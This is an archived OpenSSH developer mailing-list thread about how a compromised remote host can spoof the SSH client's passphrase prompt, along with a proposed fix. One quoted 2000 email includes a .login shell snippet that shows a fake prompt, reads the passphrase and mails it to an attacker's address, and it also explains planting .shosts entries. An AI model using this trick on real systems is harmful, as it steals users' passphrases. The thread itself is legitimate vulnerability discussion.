openssh unix dev - May 2008 - Trick user to send private key password to compromised host

Hi list,

I do not known, if this is really an issue but i noticed that when 
connecting to a remote ssh host with the standard linux openssh client 
using a private key, that there is no line of text indicating when the 
local key-passwd process was completed and the connection session was 
established.

On a compromised host, the login shell could write the line 'Enter 
passphrase for key 'guess the filename using the current account 
name':'. If unnoticed, the user will think, that he misstyped the 
passphrase and repeat it. After capturing the word, the login could 
continue with the standard procedure (e.g. motd banner).

lg roman

On Tuesday 13 May 2008 05:01:25 Roman Fiedler imposed structure on a
stream of electrons, yielding:
> Hi list,
>
> I do not known, if this is really an issue but i noticed that when
> connecting to a remote ssh host with the standard linux openssh client
> using a private key, that there is no line of text indicating when the
> local key-passwd process was completed and the connection session was
> established.
>
> On a compromised host, the login shell could write the line 'Enter
> passphrase for key 'guess the filename using the current account
> name':'. If unnoticed, the user will think, that he misstyped the
> passphrase and repeat it. After capturing the word, the login could
> continue with the standard procedure (e.g. motd banner).
>
What does that have to do with openssh? On a compromised host the attacker can 
do all kind of neat tricks and doesn't have to rely on openssh. For
instance,
a keylogger would be able to catch even more stuff and is probably easier to 
set up.


Karsten.
-- 
A baby is God's opinion that the world should go on.
		-- Carl Sandburg

Dan Yefimov wrote:
> On Tue, 13 May 2008, Roman Fiedler wrote:
>
>> Sorry, seems that my first statement was not precise. If I connect from
>> my uncompromised local host A to some malicious host B, it could trick
>> me to reenter the private key password so that it is captured on B.
This
>> would not be possible by installing an kestroke logger on B, only
>> openssh "acts" as the "keystroke logger" in this
case.
>>
> What the attacker can gain from discovering private key encryption
password?
> The private key itself is located on the host the ssh is invoked on, not on
the
> remote and probably compromised one.
This is correct, but

a) the attacker could have captured the key before by other means, but 
it was not yet useful (e.g. from some backup that became accessible, 
from some network dump when the key was stored via nfs/cifs once)

b) the password could have been used  also for other resources

I know that this is no major problem, so I asked in my first message, if 
openssh developers should even care about such thing.

Roman

On Tue, 13 May 2008, Roman Fiedler wrote:
> > What the attacker can gain from discovering private key encryption
password?
> > The private key itself is located on the host the ssh is invoked on,
not on the
> > remote and probably compromised one.
> 
> This is correct, but
> 
> a) the attacker could have captured the key before by other means, but 
> it was not yet useful (e.g. from some backup that became accessible, 
> from some network dump when the key was stored via nfs/cifs once)
> 
The private key is NEVER transmitted via the network by SSH. That is why the 
public key authentication is by default secure.
> b) the password could have been used  also for other resources
> 
This problem along with backups or NFS/CIFS traffic dumps being available to 
the attacker has nothing to do with OpenSSH at all. Those are political and too 
generic issues. If you care so much about security, keep your backups in a 
secure place and never use NFS-backed homes over insecure networks. As for 
CIFS, AFAIK it can use SSL.
-- 

    Sincerely Your, Dan.

Hi, Roman,

I commented on this issue quite some time ago.  See:

        http://marc.info/?t=95066120400001&r=1&w=2

It didn't generate much interest at the time, but I probably explained
it poorly.  I agree with you that it is not a show-stopper, but I
still think it represents a significant security problem.

I actually had a more involved conversation off-list with Dave
Dykstra, but it never found its way back onto the list.  At the risk
of boring everyone, I've attached an infodump of my half of the
private conversation I had with Dave, clarifying some possible
problematic scenarios.

To be absolutely clear, the threat model here is that the user is on
an uncompromised host connecting to a compromised host (obviously
without realizing that fact).  The question is how the compromised
host might go about stealing the user's passphrase.

It's incomprehensible to me that someone would use a non-empty
passphrase and then argue that the passphrase need not be safeguarded.
(If you don't think passphrases are worth securing, then stop using
them: they are merely a nuisance, otherwise.)

Anyway, I'll add my voice to Roman and Jefferson's that at least three
OpenSSH users think it's important to defend our passphrases against
this threat model.

The difficulty is how to incorporate a simple (though not foolproof)
fix, like:

     buhr at virgo:~$ ssh taurus
     Enter passphrase for key '/u/buhr/.ssh/id_rsa': <mistype
passphrase>
     Enter passphrase for key '/u/buhr/.ssh/id_rsa': <right this
time>
     OpenSSH connection secured.  <-- new message

     Welcome to taurus!

     buhr at taurus:~$

when there are applications that might rely on the SSH client not
printing anything locally when authenticating with a passphrase-less
key.

Anyway, my infodump from 8 years ago follows in the hopes that it
might be helpful.  I just noticed David Desrosiers' post: so,
obviously, this sort of attack isn't just theoretical.

                        *       *       *

[ from my first Feb 16, 2000 off-list reply to Dave ]

My concern is that the user can be *tricked* into giving the
passphrase to the remote machine by a simple spoof attack.  When the
first line of text the user sees is:

        Enter passphrase for RSA key 'user at untrusted.host':

he or she will naturally enter a passphrase.  How can the user
distinguish between (1) the SSH client on their local, trusted machine
prompting them for a passphrase during the normal course of
authentication; (2) the remote, presumably compromised, machine
sending a bogus passphrase prompt after authenticating the user's
client silently (in some manner than requires no passphrase or
password, say through RSA host-based authentication)?

As you point out, the SSH protocol has all the mechanisms in place to
allow a user to connect from a trusted local machine to an untrusted
remote machine via RSA authentication such that the untrusted machine
need only know public information: the other host's public key and the
user's public key.

However, the current user interface does not make it clear when a user
has passed from the trusted security domain of the local machine to
the untrusted security domain of the remote machine.  When a string of
text---a passphrase prompt, an "Incorrect passphrase" message, or
even:

        Secure connection to xxxx refused; reverting to insecure method.
        Using rsh.  WARNING: Connection will not be encrypted.
        untrusted.host: Connection refused
        trustedhostprompt$ 

---appears on a user's screen, there's no obvious way to tell what
host it really comes from.

Some cautionary text in the SSH documentation and a special
"--untrusted-host" command line option (to switch to a possibly
inconvenient, but unspoofable, user-interface protocol) might be the
least intrusive way to address my concern.

                        *       *       *

[ from a second off-list Feb 16, 2000 reply to Dave ]

I am not talking about a man-in-the-middle attack with a phony remote
machine.  I am talking about a user on a trusted host trying to
connect to an untrusted and possibly compromised host.  The untrusted
host *is* the host it claims to be.  However, it's been compromised
(or at least the user doesn't trust it), and the user does not want to
give it any secret information.

Let me give you a complete scenario:

Suppose I have compromised the user account "victim" on the host
"flakey".  That is, I am able to log in, as user "victim",
on this
host whenever I wish.  Through careful observation, I determine that
the real "victim" logs in to "flakey" from hosts
"huey", "luey", and
"dewey" using an RSA key named "victim at duckhosts", and I
assume that
"victim" is prompted for a passphrase when he does this.  Now, I add
the lines:

        huey
        luey
        dewey

to "victim"'s ".shosts" file on "flakey".  The
next time he tries to
establish an SSH connection to "flakey" from one of these three hosts,
he will *not* be prompted for a passphrase.  Normally, the first thing
he'd see would be the login banner, and he'd probably get suspicious.
However, let's say---on "flakey"---I create a
".hushlogin" file in
"victim"'s home directory, and I add the following to the end of
his ".login" file:

        echo -n "Enter passphrase for RSA key 'victim at
duckhosts': "
        stty -echo
        read passphrase
        echo "$passphrase" | mail -s 'my passphrase' attacker
at another.account >& /dev/null
        echo
        cat /etc/motd
        stty echo

Now "victim" is sitting on his trusted machine "huey".  He
suspects
that "flakey" has been compromised, so he decides to log in via SSH.
What does he see?

        huey% ssh flakey
        Enter passphrase for RSA key 'victim at duckhosts': 
        Welcome to "flakey".  It's been 24 days since the last
        compromise!
        
        flakey% 

There's no message about a man-in-the-middle attack because
"flakey"
hasn't been replaced, it's merely been compromised. 
"flakey"'s
legitimate private key (matching the public key stored in
".ssh/known_hosts" on "huey") is still stored on
"flakey" in
"/etc/ssh_host_key", and---ironically---I still don't know it,
because
I've only cracked a user account, not the root account.

The user's SSH client never prompts him for a passphrase because
"huey" appears in the ".shosts" file and
"huey"'s public key is in
".ssh/known_hosts".  Based on RSA host authentication, the user is
legitimately permitted to connect to "flakey" without providing a
password or a passphrase, so his client lets him.  However, the user
doesn't know this---he expects to be prompted for a passphrase,
"flakey" obliges with a bogus prompt, and I pick up
"victim"'s secret
passphrase from my mailbox at my convenience.

"victim" feels assured that he has safely authenticated to
"flakey"
(even though he doesn't trust "flakey") via RSA authentication
without
giving "flakey" any secret information.  When he types in his
passphrase, he believes he is giving secret information to his trusted
SSH client which will *only* provide non-secret information to
"flakey".  He's wrong; he's given his secret passphrase to
"flakey"
(and to me) without knowing it.

Is this the end of the world?  No.  I only have his passphrase, and
hopefully it doesn't unlock any private key to which I have access.
Yet, I've still managed to collect supposedly secret information from
my "victim".

When would a "victim" ever realistically want to connect from a
trusted host to an untrusted host?  I can think of two real-world
examples: a system administrator trying to safely connect to a machine
suspected of being compromised; or a free-software developer logging
in to a common development machine he has no authority or control
over.  With the above-mentioned attack, the user can be tricked into
giving his or her passphrase to an attacker who has compromised the
remote host.

-- 
Kevin Buhr <buhr+openssh at asaurus.net>